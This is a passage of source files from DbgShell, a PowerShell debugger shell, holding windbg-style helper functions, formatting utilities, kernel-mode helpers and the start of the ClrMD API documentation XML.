$false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [UInt32] $Count = 8 ) process { try { Read-DbgDisassembly $Address -InstructionCount ([int] 0 - $Count) } finally { } } } # end ub <# .Synopsis Like the windbg "uf" command. #> function uf { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address ) process { try { Read-DbgDisassembly -Address $Address -WholeFunction } finally { } } } # end uf <# .Synopsis Similar to the windbg "poi" command (MASM operator). .Description The 'poi' command dereferences a pointer. Similar to windbg, using 'poi' on a numeric address will read memory from the specified address. If you pass a DbgPointerValue instead of a raw address, then 'poi' will return the "pointee" value (equivalent to calling the DbgGetPointee() method on it). Note that you will need to use this much differently than you use "poi" in windbg. In windbg, you call it as if it were a function call, like "dd poi( 07ef0000 )". This syntax will not work in PowerShell. First, you don't use parentheses when calling commands (parentheses only serve to group sub-things); and you'll also need to wrap the whole thing in parentheses if you are passing the result to something else, like this: "dd (poi 0x07ef0000)". Windbg: "dd poi( 07ef0000 ) PowerShell: "dd (poi 0x07ef0000)" #> function poi { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [object] $Address ) begin { function _PoiForAddress { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address ) process { $Debugger.ReadMemAs_pointer( $Address ) } } # end _PoiForAddress } # end 'begin' block process { try { if( $Address -is [MS.Dbg.DbgPointerValue] ) { $Address.DbgGetPointee() } else { # Note that other objects deriving from DbgPointerValueBase will come in # here. They are implicitliy convertable to UInt64, so the # [AddressTransformation()] attribute will work fine on them. _PoiForAddress $Address } } finally { } } # end 'process' block } # end poi <# .Synopsis "Safe 'poi'": try to dereference a pointer, but don't blow up if it's NULL. .Link poi #> function spoi { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [object] $Address ) begin { function _PoiForAddress { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address ) process { if( $Address -gt 4095 ) { $Debugger.ReadMemAs_pointer( $Address ) } } } # end _PoiForAddress } # end 'begin' block process { try { if( $null -eq $Address ) { return } if( $Address -is [MS.Dbg.DbgPointerValue] ) { if( $Address -ne 0 ) { $Address.DbgGetPointee() } } else { # Note that other objects deriving from DbgPointerValueBase will come in # here. They are implicitliy convertable to UInt64, so the # [AddressTransformation()] attribute will work fine on them. _PoiForAddress $Address } } finally { } } # end 'process' block } # end spoi Set-Alias al Get-DbgAlias function as { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Name, [Parameter( Mandatory = $true, Position = 1, ValueFromRemainingArguments = $true )] [AllowNull()] [AllowEmptyString()] [string] $EquivalentPhrase # There are other parameter sets that we could implement (like "as /e", "as # /ma", "as /f", etc. But I don't think those are very important... since you # have PowerShell to do fancy stuff, you shouldn't need all that jazz. ) process { try { Set-DbgAlias -Name $Name -Value $EquivalentPhrase } finally { } } } Set-Alias ad Remove-DbgAlias Set-Alias .frame Set-DbgStackFrame <# .SYNOPSIS Like the windbg ".f+" function: sets the context to the next stack frame. #> function .f+ { [CmdletBinding()] param() process { try { .frame -Increment } finally { } } } <# .SYNOPSIS Like the windbg ".f-" function: sets the context to the previous stack frame. .DESCRIPTION Note that there is a ".f-" alias; this function is named ".f_minus" to avoid a warning about an unapproved verb, thanks to the "-". #> function .f_minus { [CmdletBinding()] param() process { try { .frame -Decrement } finally { } } } Set-Alias .f- .f_minus <# .Synopsis Converts hex addresses into numbers, so you can do math on them. #> function ConvertTo-Number { [CmdletBinding()] [OutputType( [System.UInt64] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Numberish ) process { try { # Nothing to do; all the work was done by the AddressTransformation attribute. return $Numberish } finally { } } } # end ConvertTo-Number Set-Alias n ConvertTo-Number # TODO: muscle memory requests that I implement something that allows me to type ".reload /f" instead of ".reload -f". Set-Alias .reload Initialize-DbgSymbols Set-Alias .load Add-DbgExtension Set-Alias .unload Remove-DbgExtension <# .Synopsis Like the windbg ".loadby" function: load an extension DLL from the same directory as a loaded module. #> function .loadby { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $ExtensionName, [Parameter( Mandatory = $true, Position = 1 )] [string] $ByLoadedDll ) process { try { $m = Get-DbgModuleInfo $ByLoadedDll -ErrorAction Stop if( $null -eq $m ) { throw "No such module: $ByLoadedDll" } $path = [System.IO.Path]::GetDirectoryName( $m.ImageName ) $path = [System.IO.Path]::Combine( $path, $ExtensionName ) .load $path } finally { } } } # end .loadby <# .Synopsis Like the windbg ".effmach" function: view or change the current effective processor type. #> function .effmach { [CmdletBinding()] [OutputType( [Microsoft.Diagnostics.Runtime.Interop.IMAGE_FILE_MACHINE] )] param( [Parameter( Mandatory = $false, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Platform ) process { try { if( $Platform ) { Set-DbgEffectiveProcessorType $Platform } else { Get-DbgEffectiveProcessorType } } finally { } } } # end .effmach <# .Synopsis Like the windbg ".lastevent" function: displays the most recent exception or event that occurred #> function .lastevent { [CmdletBinding()] [OutputType( [MS.Dbg.DbgLastEventInfo] )] param() process { try { $debugger.GetLastEventInfo() } finally { } } } # end .lastevent <# .SYNOPSIS Finds a thread matching the specified criteria. #> function Find-DbgThread { [CmdletBinding( DefaultParameterSetName = 'WithStackTextParamSet' )] [OutputType( [MS.Dbg.DbgUModeThreadInfo] )] param( [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'WithStackTextParamSet' )] [ValidateNotNullOrEmpty()] [string] $WithStackText ) process { try { if( $PSCmdlet.ParameterSetName -eq 'WithStackTextParamSet' ) { Get-DbgUModeThreadInfo | %{ $thread = $_ foreach( $frame in $thread.Stack.Frames ) { if( $frame.ToString().IndexOf( $WithStackText, [StringComparison]::OrdinalIgnoreCase ) -ge 0 ) { Write-Output $thread break; } } # end foreach( $frame ) } # end per-thread block } # end if( WithStackTextParamSet ) else { throw "what?" } } finally { } } } # end Find-DbgThread <# .SYNOPSIS Inserts a 'TypeName' into an object's TypeNames list at the location just before the specified TypeName. Note that the TypeName can be anything (it doesn't have to be the name of any actual "type"). This is useful for symbol value converter scripts who want to let others know that they were applied to a particular symbol value. For instance, you could use the TypeName applied by a converter script to apply a custom view definition to only objects that had that converter applied. #> function InsertTypeNameBefore { [CmdletBinding()] param( [Parameter( Position = 0, Mandatory = $true, ValueFromPipeline = $true )] [ValidateNotNull()] [object] $InputObject, [Parameter( Position = 1, Mandatory = $true )] [ValidateNotNullOrEmpty()] [string] $NewTypeName, [Parameter( Position = 2, Mandatory = $true )] [ValidateNotNullOrEmpty()] [string] $Before ) begin { } end { } process { try { for( [int] $i = 0; $i -lt $InputObject.PSObject.TypeNames.Count; $i++ ) { if( $InputObject.PSObject.TypeNames[ $i ] -eq $Before ) { $InputObject.PSObject.TypeNames.Insert( $i, $NewTypeName ) return } } # I don't know if this is actually the behavior I want. But it seems safe to # start with. Write-Error "Did not find existing TypeName '$Before'." } finally { } } # end 'process' block } # end InsertTypeNameBefore <# .SYNOPSIS Similar to !teb in windbg, but returns a TEB object instead of just printing it out. It's an alternative to "(~.).Teb". #> function !teb { [CmdletBinding()] param() begin { } end { } process { try { $currentThread = Get-DbgUModeThreadInfo -Current if( $currentThread ) { return $currentThread.Teb } } finally { } } # end 'process' block } # end function !teb <# .SYNOPSIS Opens the current dump in windbg. TBD: support for live targets, remotes #> function Open-InWindbg { [CmdletBinding()] param() begin { } end { } process { try { $windbgDir = Find-WindbgDir if( !$windbgDir ) { Write-Error "Could not find windbg." return } [string] $dump = $null if( $CurrentDumpArchiveFile ) { $dump = $CurrentDumpArchiveFile } elseif( $CurrentDumpFile ) { $dump = $CurrentDumpFile } if( !$dump ) { Write-Error "Not attached to a dump file? (live targets and remotes are TBD)" return } & (Join-Path $windbgDir 'windbg.exe') -z $dump } finally { } } # end 'process' block } # end function Open-InWindbg function Resolve-Error { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true )] [System.Management.Automation.ErrorRecord] $ErrorRecord ) process { try { if( !$ErrorRecord ) { if( 0 -eq $global:Error.Count ) { return } $thing = $global:Error[ 0 ] # # $thing might not be an ErrorRecord... # if( $thing -is [System.Management.Automation.ErrorRecord] ) { $ErrorRecord = $thing } elseif( $thing -is [System.Management.Automation.IContainsErrorRecord] ) { "(Error is an $($thing.GetType().FullName), but contains an ErrorRecord)" $ErrorRecord = $thing.ErrorRecord } else { Write-Warning "The thing I got from `$global:Error is not an ErrorRecord..." Write-Warning "(it's a $($thing.GetType().FullName))" $thing | Format-List * -Force return } } # It's convenient to store the error we looked at in the global variable $e. # But we don't "own" that... so we'll only set it if it hasn't already been # set (unless it's been set by us). $e_var = Get-Variable 'e' -ErrorAction Ignore if( ($null -eq $e_var) -or (($e_var.Value -ne $null) -and (0 -ne $e_var.Value.PSObject.Properties.Match( 'AddedByResolveError').Count))) { $global:e = $ErrorRecord Add-Member -InputObject $global:e ` -MemberType 'NoteProperty' ` -Name 'AddedByResolveError' ` -Value $true ` -Force # overwrite if we're re-doing one } $ErrorRecord | Format-List * -Force $ErrorRecord.InvocationInfo | Format-List * $Exception = $ErrorRecord.Exception for( $i = 0; $Exception; $i++, ($Exception = $Exception.InnerException) ) { "$i" * 80 "ExceptionType : $($Exception.GetType().FullName)" $Exception | Format-List * -Force } } finally { } } } Set-Alias rver Resolve-Error <# .SYNOPSIS Gets version information about the currently-running instance of DbgShell. #> function Get-DbgShellVersionInfo { [CmdletBinding()] param() begin { } end { } process { try { $p = Get-Process -id $pid "Host process is: $($p.MainModule.ModuleName)" "($($p.MainModule.FileName))" '' "64-bit process? $([System.Environment]::Is64BitProcess)" "64-bit OS? $([System.Environment]::Is64BitOperatingSystem)" $versionInfoProps = @( 'FileName' 'FileDescription' 'ProductVersion' 'FileVersion' 'IsDebug' 'IsPatched' 'IsPreRelease' 'IsPrivateBuild' 'IsSpecialBuild' 'PrivateBuild' ) $files = @( 'bin:\DbgShell.exe' 'bin:\Debugger\DbgProvider.dll' 'bin:\Debugger\Microsoft.Diagnostics.Runtime.dll' ) foreach( $file in $files ) { (dir $file).VersionInfo | Select $versionInfoProps } # Not all of these modules will be present. That's fine. $p.Modules | where { ($_.ModuleName -eq 'DbgShellExt.dll') -or ($_.ModuleName -eq 'dbgeng.dll') -or ($_.ModuleName -eq 'dbghelp.dll') -or ($_.ModuleName -eq 'dbgcore.dll') -or ($_.ModuleName -eq 'dbgmodel.dll') -or ($_.ModuleName -eq 'windbg.exe') -or ($_.ModuleName -eq 'ntsd.exe') -or ($_.ModuleName -eq 'cdb.exe') -or ($_.ModuleName -eq 'kd.exe') -or ($_.ModuleName -like 'mscordac*') -or ($_.ModuleName -eq 'System.Management.Automation.ni.dll') -or ($_.ModuleName -eq 'System.Management.Automation.dll') } | ForEach-Object { $_.FileVersionInfo | Select $versionInfoProps } 'PSVersionTable:' $PSVersionTable "Current log file is: $(Get-DbgShellLog -Current)" 'Use Open-DbgShellLog to view it.' } finally { } } } # end Get-DbgShellVersionInfo # Trivia: 'exit' is a keyword, not a command, so using an alias (q --> exit) doesn't work. function q { exit } function :q { exit } # for entrenched vim users function testall() { # Q: Why not just use the module names? (We've properly configured the PSModulePath) # # A: In case we are run from a UNC path (PS does not like having a UNC path in the # PSModulePath). # # That's also why we pre-load Pester, because the prereq specified in # DbgShellTest.psd1 might not work if we leave it to PS to fulfill it. Import-Module -Global "filesystem::$PSScriptRoot\..\DbgShellTest\Pester\Pester.psd1" Import-Module -Global "filesystem::$PSScriptRoot\..\DbgShellTest\DbgShellTest.psd1" Invoke-Pester Tests:\*.ps1 } $private:defaultPrompt1 = '"PS $($executionContext.SessionState.Path.CurrentLocation)$(''>'' * ($nestedPromptLevel + 1)) "' ` + "`n" ` + '# .Link' ` + "`n" ` + '# http://go.microsoft.com/fwlink/?LinkID=225750' ` + "`n" ` + '# .ExternalHelp System.Management.Automation.dll-help.xml' ` + "`n" $private:defaultPrompt2 = "`n" ` + '"PS $($executionContext.SessionState.Path.CurrentLocation)$(''>'' * ($nestedPromptLevel + 1)) ";' ` + "`n" ` + '# .Link' ` + "`n" ` + '# http://go.microsoft.com/fwlink/?LinkID=225750' ` + "`n" ` + '# .ExternalHelp System.Management.Automation.dll-help.xml' ` + "`n" # What's different in defaultPrompt3? "http" --> "https" $private:defaultPrompt3 = "`n" ` + '"PS $($executionContext.SessionState.Path.CurrentLocation)$(''>'' * ($nestedPromptLevel + 1)) ";' ` + "`n" ` + '# .Link' ` + "`n" ` + '# https://go.microsoft.com/fwlink/?LinkID=225750' ` + "`n" ` + '# .ExternalHelp System.Management.Automation.dll-help.xml' ` + "`n" # We'll install a different prompt function, but only if the user has not already # customized it. # # IDEA: Instead of remembering the exact text of each default prompt, maybe keep hashes of # somewhat-sanitized versions? (such as trimming whitespace, replacing 'https' with # 'http', etc.) $private:currPrompt = (gcm prompt).Definition.Replace( "`r", "" ) if( ($currPrompt -eq $defaultPrompt3) -or ($currPrompt -eq $defaultPrompt2) -or ($currPrompt -eq $defaultPrompt1) ) { function prompt { $sb = New-Object 'System.Text.StringBuilder' -Arg @( 120 ) if( test-path variable:/PSDebugContext ) { $null = $sb.Append( '[DBG]: ' ) } $null = $sb.Append( 'PS ' ) $null = $sb.AppendLine( $executionContext.SessionState.Path.CurrentLocation ) if( $nestedpromptlevel -ge 1 ) { $null = $sb.Append( (New-Object 'System.String' -Arg @( ([char] '>'), $nestedpromptlevel )) ) } $null = $sb.Append( '> ' ) return $sb.ToString() } } # else user has custom prompt already . $PSScriptRoot\OtherUtils.ps1 . $PSScriptRoot\KernelMode.ps1 # # These commands must come last. # Export-ModuleMember -Alias '*' Export-ModuleMember -Function '*' ================================================ FILE: DbgShell/x86/Debugger/FmtUtils.ps1 ================================================ # # The following functions are common code shared by multiple format # definitions (in .psfmt files). # $script:ValueNotAvailable = (New-ColorString -Foreground Yellow -Content '').MakeReadOnly() function script:FindFirstNonWhitespace( [string] $line ) { $line = $line.TrimEnd() #[console]::WriteLine( "checking ({0}): $line", $line.Length ) if( 0 -eq $line.Length ) { return -1 } else { for( [int] $idx = 0; $idx -lt $line.Length; $idx++ ) { if( ![Char]::IsWhiteSpace( $line, $idx ) ) { return $idx } } # TODO: assert( false ): we trimmed the string so if there were no # non-whitespace characters we shouldn't be able to get here. } } # end function FindFirstNonWhitespace # Removes leading empty lines and common leading whitespace from each line. function script:UnindentLines( [string[]] $lines ) { [int] $commonLeadingWhitespace = [Int32]::MaxValue for( [int] $i = 0; $i -lt $lines.Length; $i++ ) { [string] $line = $lines[ $i ].TrimEnd() $lines[ $i ] = $line [int] $leadingWhitespace = FindFirstNonWhitespace $line if( -1 -ne $leadingWhitespace ) { #[console]::WriteLine( '$leadingWhitespace is {0}', $leadingWhitespace ) $commonLeadingWhitespace = [Math]::Min( $commonLeadingWhitespace, $leadingWhitespace ) } } [bool] $foundNonEmptyLine = $false [System.Text.StringBuilder] $sb = New-Object 'System.Text.StringBuilder' -Arg @( $singleString.Length ) foreach( $line in $lines ) { if( 0 -eq $line.Length ) { if( $foundNonEmptyLine ) { # We'll preserve internal empty lines, but not leading ones. [void] $sb.AppendLine() } } else { #[console]::WriteLine( "Trimming $commonLeadingWhitespace off the front of: $line" ) $foundNonEmptyLine = $true [void] $sb.AppendLine( $line.Substring( $commonLeadingWhitespace ).TrimEnd() ) } } return $sb.ToString() } # end function UnindentLines function script:RenderScript( [ScriptBlock] $script ) { [string] $singleString = $script.ToString() [string[]] $lines = $singleString.Split( "`n" ) UnindentLines $lines } # end function RenderScript function script:HighlightTypeName( $obj ) { if( $null -eq $obj ) { return } [Type] $type = $obj.GetType(); $fullTypeName = $type.FullName [int] $idx = $fullTypeName.LastIndexOf( '.' ); [string] $ns = '' if( $idx -gt 0 ) { $ns = $fullTypeName.Substring( 0, $idx + 1 ) } (New-ColorString -Content $ns).AppendPushFgBg( [ConsoleColor]::White, [ConsoleColor]::DarkMagenta ).Append( $type.Name ).AppendPop() } # end function HighlightTypeName function script:Get-TypeName( $sym ) { try { if( $null -eq $sym.get_Type() ) { New-ColorString -Foreground Yellow -Content "" } else { if( $sym.Type -is [MS.Dbg.DbgNamedTypeInfo] ) { $sym.Type.get_ColorName(); } else { Format-DbgTypeName $sym.Type.get_Name() } } } finally { } } # end function Get-TypeName # TODO: maybe replace with Format-AltSingleLine that takes -Label, -Width, etc. function script:Pad( [MS.Dbg.ColorString] $cs, [int] $minLength ) { if( $cs.Length -lt $minLength ) { if( $cs.IsReadOnly ) { $cs = (New-ColorString).Append( $cs ) } $cs = $cs.Append( (New-Object 'System.String' -Arg @( ' ', ($minLength - $cs.Length) )) ) } return $cs } function script:PadLeft( [MS.Dbg.ColorString] $cs, [int] $minLength ) { if( $cs.Length -lt $minLength ) { $cs2 = New-ColorString -Content (New-Object 'System.String' -Arg @( ' ', ($minLength - $cs.Length) )) $cs2 = $cs2.Append( $cs ) $cs = $cs2 } return $cs } # TODO: This is not ColorString-aware... function script:Truncate( [string] $s, [int] $maxLength, [bool] $pad = $false ) { try { if( $maxLength -le 3 ) { throw "Out of range: `$maxLength must be more than 3." } [int] $diff = $maxLength - $s.Length if( $diff -ge 0 ) { if( $pad -and ($diff -gt 0) ) { $s = $s + (New-Object 'System.String' -Arg @( ([char] ' '), $diff )) } return $s } return $s.Substring( 0, $maxLength - 3 ) + "..." } finally {} } # end Truncate() function script:Test-SymValueAvailable( $symVal, [string] $typeName ) { $sym = $symVal.DbgGetSymbol() if( $sym.get_IsValueUnavailable() ) { if( !$typeName ) { if( $null -ne $sym.get_Type() ) { $typeName = $sym.Type.get_Name() } } if( $typeName ) { return (Format-DbgTypeName $TypeName).Append( ': ' ).Append( $ValueNotAvailable ) } else { return $ValueNotAvailable } } return $null } #end Test-SymValueAvailable() function script:Summarize-SymValue( $symVal ) { $notAvailMsg = Test-SymValueAvailable $symVal if( $notAvailMsg ) { return $notAvailMsg } return (Format-AltSingleLine -InputObject $symVal) } # end Summarize-SymValue ================================================ FILE: DbgShell/x86/Debugger/GetPsContextFunc.ps1 ================================================ <# .SYNOPSIS Gets an object that represents a set of functions and variables, which can be used with ScriptBlock.InvokeWithContext. #> function Get-PsContext { [CmdletBinding()] param() begin { } process { } end { function private:_GetPsContextWorker { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [System.Management.Automation.PSModuleInfo] $private:ScopingMod ) begin { } process { } end { $private:sb = { try { $private:ctx = New-Object 'MS.Dbg.PsContext' $private:funcs = Get-ChildItem 'Function:\' foreach( $private:func in $funcs ) { # Filter out our own functions: if( ($func.Name -ne '_GetPsContextWorker') -and ($func.Name -ne 'Get-PsContext') ) { # Workaround for Windows Blue Bugs NNNNNN (TODO: file it) # # Private functions show up via "dir Function:\" and # Get-Command, even though you can't call them. # Fortunately, Test-Path tells the truth. if( (Test-Path "Function:\$($func.Name)") ) { $ctx.Funcs.Add( $func.Name, $func.ScriptBlock ) } } } # Using "Get-Variable -Scope 2" doesn't quite work; it seems to # get stuff /only/ in scope 2, and sometimes we need different # scopes (because nesting levels are different in Debugger.psfmt # versus Debugger.Converters.STL.ps1, for example). We can filter # out our own locals by making them private (like "$private:foo"). $private:vars = Get-Variable foreach( $private:var in $vars ) { if( $var.Name -ne 'PSCmdlet' ) { $ctx.Vars.Add( $var.Name, $var ) } } return $ctx } finally { } } # end $sb try { # You'd think we could just let the caller decide wether to call this # function (Get-PsContext) in the scope of $ScopingMod or not, but it # doesn't work out. We'll control how $ScopingMod is used here to try # to make sure it works how we want. (One problem is that sometimes # even "& $mod $stuff" doesn't execute $stuff in $mod's scope, because # $stuff comes from some other module and even "& $mod" can't "break # out" of that. if( $ScopingMod ) { & $ScopingMod $sb } else { & $sb } } finally { } } # end 'end' block } # end _GetPsContextWorker try { #[Console]::WriteLine( "Get-PsContext: current module context is: $($ExecutionContext.SessionState.Module)" ) $private:curCtx = _GetPsContextWorker $private:tmpMod = New-Module { } # module scopes always come under the global scope $private:globalCtx = _GetPsContextWorker $tmpMod $private:newCtx = $curCtx - $globalCtx return $newCtx } finally { } } # end 'end' block } # end Get-PsContext ================================================ FILE: DbgShell/x86/Debugger/KernelMode.ps1 ================================================ # # We can put functions in here that are specific to kernel-mode debugging. # <# .SYNOPSIS Throws if you are not attached to a kernel-mode target. #> function ThrowIfNotKernelMode { [CmdletBinding()] param() begin { } end { } process { try { if( !$Debugger.IsKernelMode ) { 'This command requires you be attached to a kernel-mode target.' } } finally { } } # end 'process' block } # end function ThrowIfNotKernelMode <# .SYNOPSIS #> function !process { [CmdletBinding()] param( # TODO [Parameter( Mandatory = $false )] [switch] $Current ) begin { ThrowIfNotKernelMode } end { } process { try { if( $Current ) { dt 'nt!_EPROCESS' $Debugger.GetImplicitProcessDataOffset() } else { $head = dt nt!PsActiveProcessHead -ErrorAction Stop Expand-LIST_ENTRY -Head $head ` -EntryType 'nt!_EPROCESS' ` -ListEntryMemberName 'ActiveProcessLinks' } } finally { } } # end 'process' block } # end function !process <# .SYNOPSIS #> function !tmpGetThreads { [CmdletBinding()] param( [Parameter( Mandatory = $false )] $Process = $null, [Parameter( Mandatory = $false )] [switch] $IncludeInactive ) begin { ThrowIfNotKernelMode } end { } process { try { if( !$Process ) { $Process = !process -Current } if( $IncludeInactive ) { Expand-LIST_ENTRY -Head $Process.ThreadListHead ` -EntryType (dt 'nt!_ETHREAD') ` -ListEntryMemberName 'ThreadListEntry' } else { Expand-LIST_ENTRY -Head $Process.Pcb.ThreadListHead ` -EntryType (dt 'nt!_ETHREAD') ` -ListEntryMemberName 'Tcb.ThreadListEntry' } } finally { } } # end 'process' block } # end function !process ================================================ FILE: DbgShell/x86/Debugger/Microsoft.Diagnostics.Runtime.xml ================================================ Microsoft.Diagnostics.Runtime Represents an AppDomain in the target runtime. Gets the runtime associated with this ClrAppDomain. Address of the AppDomain. The AppDomain's ID. The name of the AppDomain, as specified when the domain was created. Returns a list of modules loaded into this AppDomain. Returns the config file used for the AppDomain. This may be null if there was no config file loaded, or if the targeted runtime does not support enumerating that data. Returns the base directory for this AppDomain. This may return null if the targeted runtime does not support enumerating this information. To string override. The name of this AppDomain. Represents an object in the target process. Constructor. The address of the object The concrete type of the object. The address of the object. The type of the object. Returns if the object value is null. Returns whether this ClrObject points to a valid object or not. An object may be "invalid" during heap corruption, or if we simply encountered an error and could not determine its type. Gets the size of the object. Gets the given object reference field from this ClrObject. Throws ArgumentException if the given field does not exist in the object. Throws NullReferenceException if IsNull is true. The name of the field to retrieve. A ClrObject of the given field. Gets the given field in this object. The name of the field. The value of the field. Gets a boolean field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a signed byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a character field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a int field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a uint field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a long field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a ulong field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a float field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a double field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a string field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an object reference field from ClrObject. Any field which is a subclass of System.Object The name of the field to retrieve. Gets the given field in this object The name of the field. The value of the field. Gets a boolean field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a signed byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a character field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a 